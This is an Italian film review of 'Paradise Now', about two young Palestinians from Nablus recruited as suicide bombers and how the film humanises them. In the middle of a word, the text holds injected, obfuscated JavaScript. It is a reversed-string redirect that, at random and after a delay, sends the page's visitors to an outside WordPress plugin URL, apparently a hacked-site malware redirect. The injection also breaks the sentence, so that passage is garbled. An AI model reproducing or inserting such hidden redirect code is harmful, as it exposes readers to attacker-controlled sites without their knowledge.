Due normali kamikaze – il film

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Il Paradiso ora. Qui, subito. Paradiso, un secondo dopo essersi fatti saltare in aria. è quello che viene promesso agli aspiranti kamikaze palestinesi per convincerli a portare a termine la loro missione. Viene promesso anche a Said e Khaled, i protagonisti del film, due giovani come tanti che vivono a Nablus e che subiscono quotidianamente sulla loro pelle le difficoltà di vivere nei Territori occupati.
Abu-Assad, il regista, sfid (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il mito del martire, umanizza i due attentatori mostrandone la vita di tutti i giorni che niente ha a che fare con l’estremismo del gesto che compieranno: un lavoro precario, una famiglia, una ragazza di cui innamorarsi.
Said e Khaled accettano di morire, quasi senza farsi domande, semplicemente perché è una cosa che va fatta, che la società in cui vivono richiede loro come segno di appartenenza alla comunità, come unico modo per combattere e portare avanti la causa palestinese, come se non ci fossero alternative.
Un film complesso, criticato tanto dai palestinesi che dagli israeliani, che invece le alternative le cerca e le propone attraverso una narrazione mai banale e retorica.

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